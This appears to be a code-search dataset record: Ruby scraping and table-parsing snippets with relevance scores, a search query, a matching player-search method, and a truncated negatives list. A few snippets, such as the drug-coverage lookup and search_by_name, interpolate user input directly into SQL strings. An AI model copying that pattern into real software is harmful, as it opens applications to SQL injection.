legs = result.xpath(\".//div[@class='singleleg']\")\n hash[:leg0_departure_time] = legs[0].xpath(\".//div[@class='flighttime']\")[0].text.strip\n hash[:leg0_arrival_time] = legs[0].xpath(\".//div[@class='flighttime']\")[1].text.strip\n hash[:leg0_duration] = legs[0].xpath(\".//div[@class='duration']\")[0].text.strip\n hash[:leg1_departure_time] = legs[1].xpath(\".//div[@class='flighttime']\")[0].text.strip\n hash[:leg1_arrival_time] = legs[1].xpath(\".//div[@class='flighttime']\")[1].text.strip\n hash[:leg1_duration] = legs[1].xpath(\".//div[@class='duration']\")[0].text.strip\n hash[:booking_url] = @base_url + result.xpath(\".//a[@class='dealsinresult']\")[0].attributes['rel'].value\n hash\n end\n end", "def crawl\n #cols.map do |col|\n # let's grab each column and the data for that column\n # heading = (document/col.heading_selector).inner_html\n # data = (document/col.column_selector).map { |row| row.inner_html }\n # [heading, data]\n #end.transpose.tap do |dm|\n # let's transpose the matrix and grab the headers\n # @headers = dm.slice(0)\n #end.slice(1..-1).each do |row|\n # and the we take all the data and we yield each row as\n # a hash of headers matched with their column value for this row\n # yield Hash[*@headers.zip(row)]\n #end\n end", "def get_all_lines(page)\n return page.xpath('//tr[@class=\"cmc-table-row\"]')\nend", "def fetch_averages(player_id)\n url = \"http://sports.yahoo.com/nba/players/#{player_id}\"\n#game_html = Web.clean(File.open('file.html', 'r').read())\n puts \"Getting URL #{url}\"\n game_html = Web.fetch_clean(url)\n\n career_totals = game_html.scan(/table summary=\"Player Season Totals.*?<\\/table>/)\n return [] if career_totals.size() == 0\n career = career_totals.first.scan(/<tbody>.*?<\\/tbody>/).first\n rows = career.scan(/<tr>.*?<\\/tr>/)\n\n seasons = (rows.collect do |row|\n tds = row.scan(/<th.*?<\\/th>/) + row.scan(/<td.*?<\\/td>/)\n min = tds[3].remove_tags.split(':')\n\n games = tds[2].remove_tags.to_f\n\n # 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18\n # Year Team G Min FGM FGA 3P 3PA FT FTA OR DR Reb Ast TO Stl Blk PF Pts\n # don't want overall career averages\n tds.first.remove_tags == \"Totals\" ? [] :\n {\n 'player_id' => player_id,\n 'season' => tds[0].remove_tags,\n 'team' => tds[1].remove_tags.downcase,\n 'games' => games,\n 'min' => tds[3].remove_tags.to_f,\n 'fgm' => tds[4].remove_tags.to_f,\n 'fga' => tds[5].remove_tags.to_f,\n 'tpm' => tds[6].remove_tags.to_f,\n 'tpa' => tds[7].remove_tags.to_f,\n 'ftm' => tds[8].remove_tags.to_f,\n 'fta' => tds[9].remove_tags.to_f,\n 'off' => tds[10].remove_tags.to_f,\n 'def' => tds[11].remove_tags.to_f,\n 'reb' => tds[12].remove_tags.to_f,\n 'ast' => tds[13].remove_tags.to_f,\n 'turnovers' => tds[14].remove_tags.to_f,\n 'stl' => tds[15].remove_tags.to_f,\n 'blk' => tds[16].remove_tags.to_f,\n 'pf' => tds[17].remove_tags.to_f,\n 'pts' => tds[18].remove_tags.to_f,\n }\n end).flatten\n combine_seasons(seasons)\nend", "def parse_v2(doc,of,version,debug)\n\n time_stamp = parse_time_stamp(doc,debug,of);\n#------------------------------------------------------------------------------\n# parse yesterday's table data\n# it looks that if I use '//td', then all rows in all tables in the list are returned\n# expect only one table\n#------------------------------------------------------------------------------\n table = doc.xpath(\"//table[@id='usa_table_countries']\");\n if (table.length != 1) then\n printf(\"TROUBLE: ntables: %i, expected 1\\n\",table.length)\n end\n\n print_header(of)\n \n rows = table.xpath('tbody/tr')\n \n for row in rows\n cells = row.xpath('td')\n r = parse_cells(cells,time_stamp,version);\n print_record_to_file(r,of)\n end\n\n return ;\n end", "def raw_exchange_rates\n table_rows = Oga.parse_html(response.body).css('table').first&.children\n # AlBarakaBank porvide 7 currencies on the home page\n fail ResponseError, 'Unknown HTML' unless table_rows&.size == 8\n table_rows.lazy.drop(1).map(&:children).map { |cell| cell.map(&:text) }\n end", "def get_one_page(race_id, page)\n url = \"http://www.tdl.ltd.uk/results.php?checked=1&race_id=\" +race_id.to_s + \"&submit=sent&page=\" + page.to_s\n html = ScraperWiki.scrape(url)\n\n doc = Nokogiri::HTML(html)\n headings = nil\n saved = 0\n datas = []\n doc.search('tr').each do |tr|\n tds = tr.search('td')\n if tr[\"style\"] == \"color:White;background-color:#CC0000;\":\n # get headings to use as keys\n headings = tds.map { |x| x.inner_html().gsub(\"<b>\", \"\").gsub(\"</b>\", \"\") }\n next\n end\n\n raise \"length of line differs from headings\" if tds.size != headings.size\n data = { 'Race ID' => race_id, 'Source' => url }\n headings.zip(tds).each do |heading, td|\n data[heading] = td.inner_html\n end\n datas.push data\n #ScraperWiki.save(unique_keys=['Race Number',], data=data)\n saved = saved + 1\n end\n # XXX this should make it faster but doesn't work\n #puts datas.to_yaml\n if datas.size > 0 \n ScraperWiki.save(unique_keys=['Race Number',], data=datas)\n end\n\n # Return if there was nothing on this page (beyond end)\n puts \"saved records: \" + saved.to_s\n return saved != 0\nend", "def get_one_page(race_id, page)\n url = \"http://www.tdl.ltd.uk/results.php?checked=1&race_id=\" +race_id.to_s + \"&submit=sent&page=\" + page.to_s\n html = ScraperWiki.scrape(url)\n\n doc = Nokogiri::HTML(html)\n headings = nil\n saved = 0\n datas = []\n doc.search('tr').each do |tr|\n tds = tr.search('td')\n if tr[\"style\"] == \"color:White;background-color:#CC0000;\":\n # get headings to use as keys\n headings = tds.map { |x| x.inner_html().gsub(\"<b>\", \"\").gsub(\"</b>\", \"\") }\n next\n end\n\n raise \"length of line differs from headings\" if tds.size != headings.size\n data = { 'Race ID' => race_id, 'Source' => url }\n headings.zip(tds).each do |heading, td|\n data[heading] = td.inner_html\n end\n datas.push data\n #ScraperWiki.save(unique_keys=['Race Number',], data=data)\n saved = saved + 1\n end\n # XXX this should make it faster but doesn't work\n #puts datas.to_yaml\n if datas.size > 0 \n ScraperWiki.save(unique_keys=['Race Number',], data=datas)\n end\n\n # Return if there was nothing on this page (beyond end)\n puts \"saved records: \" + saved.to_s\n return saved != 0\nend", "def scrapeForIncomeStatement()\n result = [[]]\n url = \"https://ca.finance.yahoo.com/quote/\" + @stockTicker + \"/financials?p=\"+ @stockTicker\n page = Nokogiri::HTML(open(url))\n table = page.at('table')\n rows = table.css('tr')\n rows.each do |row|\n row = row.css('td')\n temp_arr = []\n row.each do |data|\n temp_arr.push(data.text)\n end\n result.push(temp_arr)\n end\n result.delete_at(0)\n final_result = []\n number_of_columns = result[0].length\n for i in 0..number_of_columns-1 do\n column_data = {}\n result.each do |data|\n column_data[data[0]] = data[i]\n end\n final_result.push(column_data)\n end\n #puts final_result\n return final_result\n end", "def response_pairs_table\n response_pairs = []\n \n @textfile_data.each do |line|\n next if line.empty?\n header = line.first.gsub(/(\\(|\\))/, '_').downcase.chomp(\"_\").to_sym\n if line[1] =~ /(o|n)_\\w\\d{2}/\n response_pairs << Ruport::Data::Record.new(response_pair_data(line), :attributes => response_pair_attributes)\n end\n end \n \n return response_pairs\n end", "def fetchdtls(hname)\n joup=analyze(hname)\n puts \"<table border=\\\"1\\\" style=\\\"border-spacing: 0px;float: left;margin: 8px; table-layout:fixed;font-family: monospace;\\\">\"\n puts \"<td colspan=\\\"3\\\" style=\\\"text-align: center; font-size: 25px; background-color: #f1c40f; color: #0c2c40;\\\"><a href=\\\"https://www.ssllabs.com/ssltest/analyze.html?d=#{hname}&hideResults=on\\\" target=\\\"_blank\\\">#{hname}</a></td>\"\n puts \"<tr><th style=\\\"background-color: #041317; color: #F2F2F2; font-size: 14px; font-family: sans-serif; padding: 6px 2px;\\\">IP</th><th style=\\\"background-color: #041317; color: #F2F2F2; font-size: 14px; font-family: sans-serif; padding: 6px 2px;\\\">Grade</th><th style=\\\"background-color: #041317; color: #F2F2F2; font-size: 14px; font-family: sans-serif; padding: 6px 2px;\\\">Warnings</th></tr>\"\n\n joup[\"endpoints\"].each_index do |i|\n puts \"<tr>\"\n puts \"<td style=\\\"text-align: center; padding: 15px 8px; font-size:12px; background-color: #0c2c40; color: #f1c40f; font-weight: bold; word-wrap: break-word;\\\">\" + joup['endpoints'][i]['ipAddress'] + \"</td>\"\n puts \"<td style=\\\"text-align: center; padding: 15px 8px; font-size:38px; background-color: #0c2c40; color: #f1c40f; word-wrap: break-word;\\\">\" + joup['endpoints'][i]['grade'] + \"</td>\"\n\t\tif joup[\"endpoints\"][i][\"hasWarnings\"]\n\t\t\tputs \"<td style=\\\"text-align: center; padding: 15px 8px; font-size:12px; background-color: #0c2c40; color: #f1c40f; word-wrap: break-word;\\\">\"\n\t\t\tgetwarnings(hname, joup['endpoints'][i]['ipAddress'])\n\t\t puts \"</td>\"\n\t\telse\n\t\t\tputs \"<td style=\\\"text-align: center; padding: 15px 8px; font-size:12px; background-color: #0c2c40; color: #f1c40f; word-wrap: break-word; max-width: 100px;\\\">We do not have any warnings</td>\"\n\n\t\tend\n end\n puts \"</tr>\"\nend", "def parse(path)\n doc = Nokogiri(open(path))\n table_number = 0\n\n (doc/:table).each do | table |\n table_number = table[:class].gsub(\"Table\",\"\") \n case table_number.to_i(10)\n when 1\n import_enduring_knowledge table\n when 2\n import_unifying_themes table\n else\n import_gses(table) if is_gses_table(table)\n end\n end\n end", "def get_people(detail_page)\n first_table = detail_page.search('div#ctl00_MainBodyContent_group_17 table.ContentPanel')\n people_array = [] \n if first_table\n list_tr = first_table.search('tr')\n for i in 1..list_tr.length-1\n list_td = list_tr[i].search('td')\n people_obj = {}\n people_obj[:role] = clean_whitespace(list_td[0].inner_text)\n people_obj[:name] = clean_whitespace(list_td[1].inner_text)\n people_obj[:address] = clean_whitespace(list_td[2].inner_text)\n \n people_array << people_obj\n end\n else\n return \"\"\n end\n return people_array\nend", "def get_people(detail_page)\n first_table = detail_page.search('div#ctl00_MainBodyContent_group_17 table.ContentPanel')\n people_array = [] \n if first_table\n list_tr = first_table.search('tr')\n for i in 1..list_tr.length-1\n list_td = list_tr[i].search('td')\n people_obj = {}\n people_obj[:role] = clean_whitespace(list_td[0].inner_text)\n people_obj[:name] = clean_whitespace(list_td[1].inner_text)\n people_obj[:address] = clean_whitespace(list_td[2].inner_text)\n \n people_array << people_obj\n end\n else\n return \"\"\n end\n return people_array\nend", "def table_links_page(hierarchy, current_level, select = '', where = '', group = '')\n res,more = data(select, where, group)\n\n html_title = 'data'\n #request.path\n page_title = '<h1>Well Finder</h1>' + (more ? '<h2>(there\\'s more than this...)</h2>' : '')\n if(res.length > 1)\n table = '<table><tr>%s</tr>%s</table>'\n headers = res[0]\n header_html = '<th>' + headers.join('</th><th>') + '</th>' #TODO put in explanations of what these are/units\n #header_html = headers.inject('<th>')\n \n link = headers.collect{|o| hierarchy.include?(o.to_sym) && (current_level + hierarchy.index(o.to_sym)) < hierarchy.length * 2 - 1 } #everything but the last one\n path = request.path_info.split('/')\n rows = res[1..-1].collect do |row|\n #only want base urls for high-heirarchy levels\n #don't want links on the lowest level of the hierarhcy levels\n #TODO pass the query params of the url onto the next one\n ret = '<td>'\n (0..row.length).each do |i| \n if(link[i]) \n url = path[0..hierarchy.index(headers[i].to_sym)+1].collect{|o| !o.empty? && o.to_sym == :':all' ? row[i-1] : o }\n #grab the path for where we are in the row\n ret += \"<a href=\\\"#{url.join('/') + \"/#{row[i]}\"}\\\">#{row[i]}</a>\"\n else\n ret += row[i].to_s\n end\n ret += '</td><td>'\n end\n ret += '</td>'\n ret\n end\n row_html = \"\\n<tr>#{rows.join(\"</tr>\\n<tr>\")}</tr>\\n\"\n \n body = page_title + \"<p class=\\\"headnote\\\"><a href=\\\"#{path[0..1].join('/')}\\\">Top summary level</a></p>\\n\" + table % [header_html, row_html]\n else\n body = '<p>Couldn\\'t find anything with that designation.</p>' #TODO this or do 404?\n end\n \n PREFIX + (HEAD % html_title) + (BODY % body) + SUFFIX\n end", "def extract_vehicles_data\n vehicles = setup.fetch_page.css('form table[3] tr td').map do |x|\n x.text.gsub(/\\r\\n/, ' ').strip\n end\n end", "def parse_page(doc)\n if !doc.at('table[class=\"mw-allpages-table-chunk\"]').nil?\n doc.at('table[class=\"mw-allpages-table-chunk\"]').children.map{ |row|\n row.search('a').map{ |p|\n URI.unescape(p['href'].gsub('/wiki/', ''))\n }\n }.flatten\n else\n []\n end\nend", "def get_full_table()\n stats_table = '//*[@id=\"statistics-table-detailed\"]//*[@id=\"player-table-statistics-body\"]'\n #puts stats_table\n wait_click_e('//*[@id=\"player-tournament-stats-options\"]/li[5]/a')\n\n row_count = $browser.element(:xpath => '//*[@id=\"statistics-table-detailed\"]//*[@id=\"player-table-statistics-body\"]').wait_until.trs.count\n #puts row_count\n\n row = $browser.element(:xpath => '//*[@id=\"statistics-table-detailed\"]//*[@id=\"player-table-statistics-body\"]').wait_until\n sleep(0.5)\n row.trs.each do |tr|\n sleep(0.5)\n tr.each do |cell|\n cell_key = cell.class_name.gsub(\"sorted\", \"\")\n cell_key = cell_key.gsub(\" \", \"\")\n cell_value = cell.inner_html.gsub(\"-\", \"0\")\n cell_text = cell.inner_text\n \n if cell.inner_html.length > 25\n unless cell_text.include? \"Total\"\n file_out('{ \"' + cell_text + '\": ')\n end\n elsif cell.class_name.length < 1\n next\n elsif cell_value.include?(\"strong\")\n next\n elsif cell.inner_html != nil\n file_out('{ \"' + cell_key + '\": \"' + cell_value + '\" }')\n if cell_key.include? \"rating\"\n file_out(' }')\n end\n else\n next\n end\n end\n \n end\n file_out(\" }\")\nend", "def parse_single_page(page)\n rows = page.search(\"form[name='search'] table > tr > td > table > tr\")\n\n vacation_name = ''\n country = ''\n auction_time = ''\n price = ''\n\n rows.each do |row|\n plain = row.text.gsub(/\\s*\\302\\240\\302\\240/, '').gsub(/\\s\\s/, '').strip\n if plain.start_with?(\"Name\")\n vacation_name = plain.gsub(/Name/, '')\n end\n if plain.start_with?(\"Primary Practice Place\")\n country = plain.gsub(/Primary Practice Place/, '')\n end\n if plain.start_with?(\"Practice auction_time\")\n auction_time = row.text.gsub(/\\s\\s/, '').gsub(/\\302\\240\\302\\240/, ' ').gsub(/Practice auction_time/, '').strip\n end\n end\n p [vacation_name, country, auction_time]\n\n RESULT_COLL.insert(:contact => [vacation_name, country, auction_time])\nend", "def extract_table_rows(table_text)\n rows = []\n parsed = @table_parser.parse(table_text)\n parsed[:table].each do |row|\n text = row[:row].to_s\n case text\n when /^Source: / then break\n when /^Note: / then break\n end\n rows << text\n end\n rows\n end", "def scrape_table(page)\n page.css('.listing_content').collect do |x|\n record = {}\n record['Business'] = x.css('.business-name a').text\n record['Address'] = x.css('.street-address').text.sub(/,[\\s]*/, '') || \"not listed\"\n record['City'] = x.css('.locality').text || \"not listed\"\n record['State'] = x.css('.region').text || \"not listed\"\n record['Zipcode'] = x.css('.postal-code').text || \"not listed\"\n record['Phone'] = x.css('.business-phone').text || \"not listed\"\n\n ## collect secondary info\n url = x.at_css('.business-name a').attribute(\"href\")\n page2 = Nokogiri::HTML(open(url))\n ext_record = scrape_page2(page2)\n \n record.merge!(ext_record)\n ScraperWiki.save([\"Business\"], record)\n end\nend", "def scrape_table(page)\n page.css('.listing_content').collect do |x|\n record = {}\n record['Business'] = x.css('.business-name a').text\n record['Address'] = x.css('.street-address').text.sub(/,[\\s]*/, '') || \"not listed\"\n record['City'] = x.css('.locality').text || \"not listed\"\n record['State'] = x.css('.region').text || \"not listed\"\n record['Zipcode'] = x.css('.postal-code').text || \"not listed\"\n record['Phone'] = x.css('.business-phone').text || \"not listed\"\n\n ## collect secondary info\n url = x.at_css('.business-name a').attribute(\"href\")\n page2 = Nokogiri::HTML(open(url))\n ext_record = scrape_page2(page2)\n \n record.merge!(ext_record)\n ScraperWiki.save([\"Business\"], record)\n end\nend", "def oci_rows_to_hash(response)\n response_hash = Hash.new\n table_array = Array.new\n table_name = \"\"\n parse_response = REXML::Document.new(response)\n\n response_hash = Hash.new\n parse_response.elements[\"//command/\"].each do |ele|\n name = ele.name\n value = parse_response.elements['//'+name].text\n if name =~ /\\w+Table/\n table_array = oci_table_to_array(response,name)\n table_name = name\n end\n response_hash[name.to_sym] = value\n\n #If response contained table elements add array of these elements into hash with key == <tableName>\n response_hash[table_name.to_sym] = table_array unless table_array.empty?\n end\n return response_hash\n\n end", "def scrape_headings\n ScrapeService.call self\n end", "def generate_list(table)\n\n table_rows = table.split('<tr>')\n table_rows.shift\n header_row = table_rows.shift.split('</td>')\n header_row.pop\n header_row.each do |header_col|\n puts \">>> \" + Sanitize.clean(header_col).strip\n end\n\n table_rows.each do |row|\n cols = row.split('</td>')\n cols.pop\n i = 0\n cols.each do |col|\n puts Sanitize.clean(header_row[i]).strip + \": \" + Sanitize.clean(col).strip\n i += 1\n end\n puts \"\\n\"\n end\n end", "def raw_exchange_rates\n # Banque Du Caire provide 17 currencies only\n table_rows = Oga.parse_html(response.body).css('table.curTbl tr')\n # But they have 1 empty <tr> and 1 header <tr> elements\n fail ResponseError, 'Unknown HTML' unless table_rows&.size == 19\n table_rows.lazy.drop(2).map(&:children).map { |cell| cell.map(&:text) }\n end", "def html_to_hashes\n doc = Nokogiri::HTML(tempfile)\n table = doc.css('table').first\n html_table_to_hashes table# rescue {}\n end", "def raw_exchange_rates\n table_rows = Oga.parse_html(response.body)\n .css('#MainContent_grdcurrency tr')\n # MIDB porvide 7 currencies on the home page but with header\n # and an empty row in the end\n fail ResponseError, 'Unknown HTML' unless table_rows&.size == 8\n table_rows.lazy.drop(1).map(&:children).map { |cell| cell.map(&:text) }\n end", "def to_a\r\n assert_exists\r\n y = []\r\n table_rows = rows\r\n for row in table_rows\r\n x = []\r\n row.each do |td|\r\n x << td.to_s.strip\r\n end\r\n y << x\r\n end\r\n return y\r\n end", "def getBuildingUnits\n arrTable = @driver.find_elements(:tag_name, 'table')\n availabilityTable = nil\n\n arrTable.each do |table|\n if table.attribute('class') == 'slds-table slds-table--bordered slds-max-medium-table--stacked-horizontal'\n availabilityTable = table\n break\n end\n end\n #puts \"availabilityTable: #{availabilityTable}\"\n #puts \"availabilityTable Class: #{availabilityTable.attribute('class')}\"\n tBodyEle = availabilityTable.find_element(:tag_name, 'tbody')\n #puts \"tBodyEle: #{tBodyEle}\"\n #puts \"tBodyEle: \"\n arrRows = tBodyEle.find_elements(:tag_name, 'tr')\n #puts \"arrRows: #{arrRows}\"\n arrBuildingUnit = Array.new\n arrRows.each do |row|\n #puts \"Row class: #{row.attribute('class')}\"\n row.find_elements(:tag_name, 'td').each do |col|\n #puts \"col class: #{col.attribute('class')}\"\n #puts \"col data-label: #{col.attribute('data-label')}\"\n if (col.attribute('data-label') == 'Unit')\n #puts \"Column data lable: #{col.attribute('data-label')}\"\n arrBuildingUnit.push(col.find_element(:class, 'slds-truncate').text) #modified on 21 feb\n end\n end\n end\n puts \"arrBuildingUnit: #{arrBuildingUnit}\"\n return arrBuildingUnit\n end", "def scrape_etsy(url)\n data = Net::HTTP.get(url)\n parsed_data = JSON(data)\n # count_listings(parsed_data)\n return parsed_data\nend", "def extract_data_and_get_next_page\n scrape_table(@page.body)\n link = @page.at('table#WFDGRDCompanies tr.form span~a') # get the link after the current page (which is the only one in a span)\n if link && (event_target = link[:href].scan(/WFDGRDCompanies[^']+/).first.gsub('$',':')) \n form = @page.form_with(:name => 'eForm')\n @page = submit_form_with_event_target(form, event_target)\n extract_data_and_get_next_page\n end\n#rescue Exception, Timeout::Error => e #timeout errors all too common, but as this is being run daily, don't worry about missing a few entries\n# puts \"Exception raised while getting data: #{e.inspect}\"\nend", "def extract_data_and_get_next_page\n scrape_table(@page.body)\n link = @page.at('table#WFDGRDCompanies tr.form span~a') # get the link after the current page (which is the only one in a span)\n if link && (event_target = link[:href].scan(/WFDGRDCompanies[^']+/).first.gsub('$',':')) \n form = @page.form_with(:name => 'eForm')\n @page = submit_form_with_event_target(form, event_target)\n extract_data_and_get_next_page\n end\n#rescue Exception, Timeout::Error => e #timeout errors all too common, but as this is being run daily, don't worry about missing a few entries\n# puts \"Exception raised while getting data: #{e.inspect}\"\nend" ]
[ "0.710579", "0.6862717", "0.6862717", "0.67812145", "0.6695856", "0.6676961", "0.6653643", "0.6611994", "0.6611994", "0.66039133", "0.65435886", "0.6533872", "0.6455378", "0.64538455", "0.6438571", "0.64370793", "0.64185846", "0.6411954", "0.6381558", "0.6381558", "0.6381558", "0.6381558", "0.6303815", "0.6281313", "0.6281313", "0.621803", "0.62029356", "0.61914325", "0.61698264", "0.61698264", "0.6155907", "0.61264956", "0.6071052", "0.6066204", "0.60353315", "0.60353315", "0.6020135", "0.60033333", "0.60033333", "0.5999472", "0.5997357", "0.5994937", "0.5992119", "0.5992119", "0.5988062", "0.59777826", "0.59739935", "0.59739935", "0.5956478", "0.5956478", "0.5956478", "0.5956478", "0.59511805", "0.5950094", "0.59418434", "0.59258926", "0.59187293", "0.5916921", "0.5915429", "0.58913696", "0.5888382", "0.5832158", "0.58189374", "0.58175546", "0.5783659", "0.57833785", "0.5780356", "0.57791543", "0.57391024", "0.57153195", "0.571051", "0.56895244", "0.56732166", "0.5664629", "0.5663764", "0.5663764", "0.56488687", "0.56469476", "0.5644436", "0.5630876", "0.562086", "0.562086", "0.5618009", "0.5613044", "0.56098586", "0.5606717", "0.560046", "0.55891", "0.5586277", "0.5586277", "0.5578554", "0.55702645", "0.55693996", "0.5552485", "0.5548774", "0.55435747", "0.5536621", "0.55287707", "0.5525167", "0.5513752", "0.5513752" ]
0.0
-1
Searches database and compares to search string; returns similar results
def search @matches = [] pattern = params[:search].downcase find = Regexp.new(Regexp.quote(pattern)) Player.all.each do |p| player_matches = false if p.name.downcase =~ find player_matches = true @matches << [p.name] break end end render :text => @matches.to_json() end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def retrieve_similar_strings(query, threshold)\n\t\t# 1. Get the user dictionary id to retrieve similar tmers to the query.\n\t\tbasedic = @db::Dictionary.select(:id).where(:title => @dic_name).all\n \n if basedic.present?\n userdic = @db::UserDictionary.select(:id).where(:dictionary_id => basedic.first[:id]).where(:user_id => @user_id).all\n end\n\n\t\tif userdic.blank?\n\t\t\treturn []\n\t\telse\t\t\t\n\t\t\tuserdic_id = userdic.first[:id] # Assume that a user has only one user dictionary for a specific base dictionary.\n\t\tend\n\n\t\t# 2. Perform query expansion.\n\t\t# simfun = Sequel.function(:similarity, :search_title, query)\n\t\t\n\t\t# Extracts a list of similar entry names compared to the query\n\t\t# - compared to @db.fetch command below, this is very slow.\n\t\t# ds = @db[:new_entries].where(:user_dictionary_id => userdic_id).where(simfun >= threshold).select_append(simfun).order(Sequel.desc(simfun), :title)\n\t\t# ds = @db[:new_entries].where(:user_dictionary_id => userdic_id).where(simfun >= threshold)\n ds = @db::NewEntry.select(:search_title).where(:user_dictionary_id => userdic_id)\n .group(:id).having(\"similarity(search_title, '#{ query }') >= #{ threshold }\")\n\n\t\t# Setting set_limit first and use % in where clause greatly accellerates the \n\t\t# search speed. However, it is unclear whether set_limit can cause a problem when a db search\n\t\t# request comes while another one is on-going.\n\t\t# @db.transaction do\n\t\t# \tds = @db.fetch(\"SELECT set_limit(#{threshold}); \n\t\t# \t\t\t\t\tSELECT *, similarity(title, :query) FROM entries \n\t\t# \t\t\t\t\tWHERE title % :query\n\t\t# \t\t\t\t\tORDER BY similarity DESC, title\", \n\t\t# \t\t\t \t\t:query => query, \n\t\t# \t\t\t \t\t)\n\t\t# end\n\t\tresults = ds.present? ? ds.collect{| n | n.search_title }.uniq : []\n\tend", "def find(search_string)\n result_array = []\n search_words = search_string.split(/\\s+/)\n\n # Loop over all entries in the index.\n @data.each{ |entry|\n begin\n # Check whether this entry matches the search words.\n score = 0\n search_words.each{ |search_word|\n next if search_word.empty?\n\n s = 2 * AE::LaunchUp::Scorer.score(search_word, entry[:name]) if entry[:name].is_a?(String)\n s += 2 * AE::LaunchUp::Scorer.score(search_word, entry[:description]) if entry[:description].is_a?(String)\n s += 2 * AE::LaunchUp::Scorer.score(search_word, entry[:category]) if entry[:category].is_a?(String)\n s += exact_matches(search_word, entry[:keywords].join(\" \"))/(entry[:keywords].length|1).to_f if entry[:keywords].is_a?(Array) && !entry[:keywords].empty?\n s += 2 * AE::LaunchUp::Scorer.score(search_word, entry[:keywords].join(\" \")) if entry[:keywords].is_a?(Array)\n s += exact_matches( search_word.gsub(/\\/|\\\\/, \"\"), entry[:file].gsub(/\\/|\\\\/, \"\") ) if entry[:file].is_a?(String) && search_word.length > 4\n\n # Skip if no match has been found.\n break score = 0.0 if s == 0.0\n score += s\n }\n\n # Tweaks for relevance:\n # Entries with icons match better with users's expectation,\n # urls or \"about\" rather not.\n score *= 3 if entry[:icon].is_a?(String)\n #score *= 0.5 if entry[:name][/about|paypal/i] || entry[:description][/http/]\n\n # Check wether the command is available in the current context. We don't\n # want to reject it completely from the search results, so that the user\n # won't miss it in an explicit search will. We give a hint if it's disabled.\n if entry[:validation_proc]\n status = nil\n begin\n status = entry[:validation_proc].call == MF_ENABLED\n rescue LocalJumpError => e\n # Validation proc contains a \"return\"?\n $stderr.write(\"Validation proc of '#{entry[:name]}' (#{entry[:id]}) contains 'return'\\n#{e.message.to_s}\\n#{e.backtrace.join(\"\\n\")}\" << $/)\n rescue Exception => e\n # Validation proc contains other bug.\n $stderr.write(\"Error in validation proc of '#{entry[:name]}' (#{entry[:id]})\\n#{e.message.to_s}\\n#{e.backtrace.join(\"\\n\")}\" << $/) if $VERBOSE\n end\n entry[:enabled] = status\n score *= 0.5 if status == false\n end\n\n # Skip if no match has been found.\n next if score < 1.0\n\n # Consider tracking data, how often this entry has been selected over others:\n # Divide track by half of average track (total_track/data.length).\n score += [entry[:track] / (@total_track|1).to_f * 0.5 * @data.length, 5].min if entry[:track]\n entry[:score] = score\n\n # Add it to results.\n result_array << entry\n rescue Exception => e\n $stderr.write(\"AE::LaunchUp::Index: Error in 'find' when searching '#{entry[:name]}' (#{entry[:id]})\\n#{e.message.to_s}\\n#{e.backtrace.join(\"\\n\")}\" << $/)\n break\n end\n }\n\n return result_array\n rescue Exception => e\n $stderr.write(\"AE::LaunchUp::Index: Error in 'find' when searching '#{search_string}'\\n#{e.message.to_s}\\n#{e.backtrace.join(\"\\n\")}\" << $/)\n return []\n end", "def searchEvent\n input = @searchText.value\n\n begin\n output = \"\"\n db = SQLite3::Database.open \"drugs.db\"\n\n # Fuzzy matches the user input against the db entries\n matches = db.execute \"SELECT Name,EqClass FROM Drugs WHERE Name LIKE '#{input}%';\"\n output = \"No Results\" if matches.empty?\n\n # For each match found in the db, looks up which Carriers cover it\n matches.each do |match|\n output += \"#{match[0].upcase}\"\n\n if not match[1].nil?\n equivalents = db.execute \"SELECT Name FROM Drugs WHERE EqClass = #{match[1]}\"\n output += \"(\"\n equivalents.each do |eqDrug|\n output += eqDrug[0]+\", \" if not eqDrug[0].include? match[0]\n end\n output.chop!.chop!\n output.chop! if output[-1] == \"(\"\n output += \")\" if output[-1] != \"(\"\n end\n output += \":\\n\"\n\n coverage = db.execute \"SELECT Carriers.Name, CoverageTier\n FROM Carriers, Drugs, Covers\n WHERE Carriers.Id = Covers.CarrierId\n AND Drugs.Id = Covers.DrugId\n AND Drugs.Name = '#{match[0]}';\"\n\n coverage.each do |carrier|\n output += \"#{carrier[0]} (tier #{carrier[1]})\\n\"\n end\n output += \"_________________________________________\\n\\n\"\n end unless matches.empty?\n\n rescue SQLite3::Exception => e\n puts \"Exception occured\"\n puts e\n ensure\n db.close if db\n @allResults = output\n setResultsText(0)\n end unless input.empty?\n\n\n return true\n end", "def suggest_other_query(items, query)\n query = query.gsub(/_/,\" \").downcase\n\n distance_levenshtein = 100\n longest_subseq = 0\n word = \"\"\n\n matcher1 = Amatch::Levenshtein.new(query)\n matcher2 = Amatch::LongestSubsequence.new(query)\n\n items.each{ |item|\n name_array = item.name.downcase.split\n name_array.push(item.name.downcase)\n\n new_distance_array_levenshtein = matcher1.match(name_array).sort\n new_longest_subseq_array = matcher2.match(name_array).sort.reverse\n\n if new_distance_array_levenshtein[0] < distance_levenshtein and new_longest_subseq_array[0] >= longest_subseq\n word = item.name\n distance_levenshtein = new_distance_array_levenshtein[0]\n longest_subseq = new_longest_subseq_array[0]\n end\n\n }\n\n if distance_levenshtein <= 3 and longest_subseq >=2\n self.closest_string = word\n end\n\n end", "def perfect_match\n query = @query.downcase.as_wiki_link\n page = all_pages.detect { |name| name.downcase == query }\n SearchResult.new(page, 1) if page\n end", "def search(query); end", "def return_exact_results\n\t# make empty array that will contain all users whose first_name, last_name, or email exactly matches a given string\n\texact_search_results = []\n\n\tUser.all.each do |user|\n\t\tif user.first_name == user.search_term || user.last_name == search_term || user.email == search_term\n\t\t\texact_search_results.push user.id\n\t\telse\n\t\t\t# do nothing if search term is not exactly\n\t\tend\n\tend\n\texact_search_results\nend", "def fuzzy_match\n return unless @keywords.any?\n\n @matches = fuzz_ball.load.find @keywords.join(\" \"), @options[:limit]\n @query = Ydl::Videos\n return if @matches.empty?\n\n # @matches.map! do |match|\n # match.push (match[1]/match[2].to_f * 100).to_i\n # end if @matches.any?\n\n @query = Ydl::Videos.with_pk_in(@matches.map(&:first))\n end", "def match_query(query); end", "def search_by_name(database, name)\n\tsearch_result = database.execute(<<-SQL \n\t\t\tSELECT * FROM restaurants WHERE name LIKE \"#{name}%\" ORDER BY name\n\t\tSQL\n\t\t) \n\tprint(search_result, \"name\")\t\nend", "def find_potential_matches\n comp_words.each_with_object([]) do |comp_word, collection|\n next if comp_word == word\n\n tokenized_comp_word = tokenize_string(comp_word)\n common_token_count = (tokenized_word & tokenized_comp_word).count\n similarity = (2 * common_token_count) / (word.length + comp_word.length).to_f\n collection << comp_word if similarity > PRECISION\n end\n end", "def search\n\n end", "def search(query)\n 